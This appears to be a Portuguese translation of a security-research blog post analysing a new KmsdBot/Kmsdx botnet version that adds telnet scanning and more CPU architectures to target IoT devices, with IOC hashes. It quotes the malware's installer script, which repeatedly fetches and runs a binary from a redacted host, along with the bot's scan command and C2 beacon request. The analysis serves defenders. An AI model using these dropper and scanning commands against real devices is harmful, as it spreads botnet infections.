Binário atualizado do Kmsdx mostra que o KmsdBot está visando o cenário da IoT
Contribuições editoriais e adicionais por Tricia Howard
Resumo executivo
A Equipe de Resposta de Inteligência de Segurança da Akamai (SIRT) continuou a rastrear a campanha do malware KmsdBot, que revelou um binário Kmsdx atualizado visando dispositivos da Internet das Coisas (IoT).
O binário agora inclui suporte para varredura de telnet e suporte para mais arquiteturas de CPU, expandindo suas capacidades de ataque e a superfície de ataque.
Esses recursos atualizados foram vistos apenas desde meados de julho de 2023.
O malware tem como alvo servidores de jogos privados, provedores de hospedagem em nuvem e alguns sites governamentais e educacionais.
A presença e as atividades do malware indicam que os dispositivos IoT vulneráveis continuam a ser uma ameaça significativa na Internet, reforçando a necessidade de medidas e atualizações regulares de segurança.
Adivinha o que está de volta?
O Akamai SIRT acompanha a campanha de botnet Kmsdx desde novembro de 2022 e agora temos outra nova evolução. Desta vez, descobrimos um binário Ksmdx atualizado com uma inclinação IoT, que é uma grande expansão de recursos em comparação com as versões anteriores.
A adição do alvo de IoT também nos fornece algumas informações sobre o comportamento do agente da ameaça e o cenário em geral. Apesar da existência da IoT há vários anos, juntamente com vários ataques distribuídos de negação de serviço (DDoS) orientados para IoT em larga escala, essa nova evolução demonstra a vastidão do cenário de ameaças ainda representado pela IoT.
Nesta postagem, analisaremos as atualizações do binário e revisaremos suas técnicas para adquirir alvos. Também discutiremos o impacto dessa evolução.
O KmsdBot tem como alvo a IoT
O KmsdBot percorreu uma longa jornada: desde a descoberta inicial até o autor, travando-o acidentalmente, até o Akamai SIRT emulando seu comando e controle (C2). Nossa pesquisa sobre esse malware em constante evolução continuou levando a esta quarta versão: um binário Kmsdx atualizado.
Este binário é responsável por verificar endereços IP aleatórios em busca de portas SSH abertas e tentar fazer login no sistema com uma lista de senhas baixada do servidor C2.
O binário foi atualizado para incluir suporte para verificação de telnet e verificação de serviços telnet legítimos. A lista de binários do KmsdBot cresceu para abranger mais arquiteturas de CPU comumente encontradas em dispositivos IoT. Mencionamos isso em nossa primeira postagem no blog sobre esse malware como uma possibilidade futura, pois a estrutura de diretórios do servidor FTP indicava que mais suporte à arquitetura da CPU estava por vir.
A amostra parece estar verificando serviços telnet válidos determinando se algo é recebido pela conexão inicial na porta 23. Ela parece estar verificando se o que está sendo escutado na porta 23 é um serviço telnet válido e apresenta um prompt, em vez de apenas desconectar.
No pseudocódigo gerado na Figura 1, main_isitfake é chamado dentro da função de varredura telnet principal.
Se a verificação falhar, ela termina aí. No entanto, se for aprovada (retornar falsa), ela executará a carga útil da infecção.
Essa verificação de IP aparentemente simples, na verdade, tem um pouco de profundidade (Figura 2.) Essa verificação de legitimidade é um dos fatores que nos indicaram a possibilidade de ter como alvo dispositivos IoT. Alguns dispositivos IoT têm escuta telnet e também possuem uma lista de controle de acesso que interrompe a conexão se o endereço IP não for de um espaço de endereço RFC 1918.
Se você não estiver familiarizado com o RFC 1918, ele é intitulado "Address Allocation for Private Internets" e descreve os intervalos de endereços IP usados para redes internas. Por exemplo, intervalos de IP comuns usados para redes domésticas são 192.168.1.0/24 e 192.168.0.0/24.
Como o scanner SSH, o scanner telnet chama uma função que gera um endereço IP aleatório. Em seguida, ele tenta se conectar à porta 23 desse endereço IP. O scanner telnet não para em uma simples decisão de escuta/não escuta da porta 23; ele verifica se o buffer de recebimento contém dados. Conseguimos gerar este fragmento de pseudocódigo a partir do binário descompilado (Figura 3) que mostra como ele verifica o buffer que contém os dados (não nulos).
Pacote principal: /root/scan
Arquivo: main.go
Linhas principais: 11 a 48 (37)
Linhas do scanner: 48 a 68 (20)
Arquivo: pma.go
Linhas checkpma: 13 a 79 (66)
Linhas checkpmafunc1: 68 a 72 (4)
Linhas de verificação: 79 a 114 (35)
Arquivo: ssh.go
Linhas sshcheck: 15 a 205 (190)
Linhas de scan: 205 a 227 (22)
Linhas scanfunc1 : 218 a 226 (8)
Arquivo: telnet.go
Linhas scantelnet: 11 a 41 (30)
Linhas scantelnetfunc1: 26 a 34 (8)
Linhas telnet: 41 a 85 (44)
Linhas isitfake: 85 a 120 (35)
Arquivo: utils.go
Linhas randomIP: 31 a 49 (18)
Linhas portopen: 49 a 82 (33)
Linhas newpassword: 82 a 92 (10)
Linhas sendreq: 92 a 104 (12)
Linhas optimaltimeout: 104 a 119 (15)
Linhas nolimits: 119 a 127 (8)
Linhas osname: 127 a 184 (57)
Linhas getlistofdata: 184 a 217 (33)
Linhas choosedifficultyport: 217 a 245 (28)
Linhas workername: 245 a 271 (26)
Linhas randomwallet: 271 a 274 (3)
Fig. 4: Saída de correção mostrando o código adicionado para oferecer suporte à verificação do serviço telnet
O impacto da atualização
Embora algumas das atualizações do KmsdBot não tenham sido bem-sucedidas, desta vez a atualização parece ter obtido sucesso. Além da funcionalidade de verificação adicionada, muitas outras arquiteturas são suportadas agora. Os dias de apenas Winx86, Arm64 e mips64, x86_64 já estão longe; como você pode ver no script de instalação ftp1.sh (Figura 5), muitos outros estão disponíveis agora.
#/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
Fig. 5: script de instalação kmsd mostrando as arquiteturas suportadas
Embora o kmsd exista desde pelo menos novembro de 2022, sua verificação de legitimidade de telnet é bastante recente. De acordo com nossos logs de rastreamento de bot, a verificação do serviço telnet começou em 16 de julho de 2023.
Encontrar vítimas
O telnet.txt (Figura 6) é o nome do arquivo a ser baixado com a lista de credenciais para diversos aplicativos. Ao verificar nossos logs, encontramos nomes de arquivos como app, euro, euro2, euro3, euro4, lilstat, estatísticas e usuários. Os arquivos contêm credenciais diferentes para os diferentes aplicativos. Por exemplo, "app" contém possíveis credenciais de login para aplicativos como Hadoop, Oracle, Elasticsearch, etc., enquanto os arquivos "euro" contêm credenciais para TeamSpeak, CentOS, Ubuntu e outras combinações de login.
!scan c2_ipadddress telnet telnet.txt kthread watchdog
Fig. 6: Comando bot para baixar credenciais e iniciar a digitalização
Como você pode ver na Figura 7, o arquivo de texto contém várias senhas fracas comumente usadas e combinações delas, como a mesma palavra em casos diferentes. As credenciais listadas podem parecer ineficazes: Elas são extremamente simples, e esperamos que não sejam usadas por um ser humano.
No entanto, quando inserimos o ângulo IoT nisso, faz todo o sentido. Muitos dispositivos IoT são deixados com credenciais padrão; na verdade, muitas pessoas com mentalidade técnica nem sabem que as credenciais podem ser alteradas.
Separado do comando bot acima da linha de comando ./ksmdx telnet telnet.txt kthread watchdog fará com que o binário ksmdx baixe uma lista de credenciais telnet e comece a escanear endereços IP aleatórios para o serviço telnet. O scanner enviará uma solicitação POST para a porta 45833 chamada "Bruh Started:” (Figura 8) que reporta ao servidor C2 que a varredura começou.
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:45833
User-Agent: Go-http-client/1.1
Content-Length: 14
Content-Type: text/plain
Accept-Encoding: gzip
Bruh Started:
Fig. 8: Solicitação POST alertando o agente da ameaça de que a verificação de telnet foi iniciada
A inconsistência de alvos
O botnet continua a visar principalmente servidores de jogos privados e provedores de hospedagem em nuvem, como sempre; no entanto, cada rodada do kmsd teve alguns alvos que pareciam fora do escopo. Desta vez, alguns sites do governo romeno e algumas universidades espanholas foram atacados.
A inconsistência do direcionamento é consistente com o comportamento do agente de ameaça por trás do kmsd, que provavelmente é um serviço de botnet de aluguel. Esses ataques têm como alvo as portas 80 e 443 com solicitações HTTP POST, e os ataques de "bigdat" continuam sendo o principal ataque de escolha.
Indicadores de comprometimento
66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh
718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386
1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64
50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm
812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64
542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips
184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64
b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le
b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle
b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64
c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le
c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x
d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx
cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php
803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh
733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe
Conclusão
As atividades em andamento da campanha de malware KmsdBot indicam que os dispositivos IoT permanecem predominantes e vulneráveis na Internet, tornando-os alvos atraentes para a construção de uma rede de sistemas infectados.
Do ponto de vista técnico, a adição de recursos de varredura de telnet sugere uma expansão na superfície de ataque do botnet, permitindo que ele atinja uma gama mais ampla de dispositivos. Além disso, à medida que o malware evolui e adiciona suporte para mais arquiteturas de CPU, ele representa uma ameaça contínua à segurança dos dispositivos conectados à Internet. Essa expansão também fala do sucesso da botnet: Se não fosse eficaz, os agentes de ameaças não perderiam tempo atualizando-o com tanta frequência (mesmo que o travassem acidentalmente com uma das atualizações).
Do ponto de vista pessoal, essa descoberta enfatiza a necessidade de medidas de segurança robustas e atualizações regulares para proteção contra tais ataques. Também exige mais educação sobre IoT e as ameaças que representam para a pessoa ou família média. Já vimos várias vezes, uma geladeira aleatória pode facilmente se tornar um participante involuntário em um ataque DDoS, provavelmente sem o conhecimento do proprietário de que um ataque está ocorrendo.
Fique atento
Uma das metas da SIRT da Akamai é dissecar e documentar a evolução de botnets, como o KmsdBot, e informar o público sobre o que observamos. Você pode encontrar nossa pesquisa de segurança em tempo real seguindo-nos no Twitter.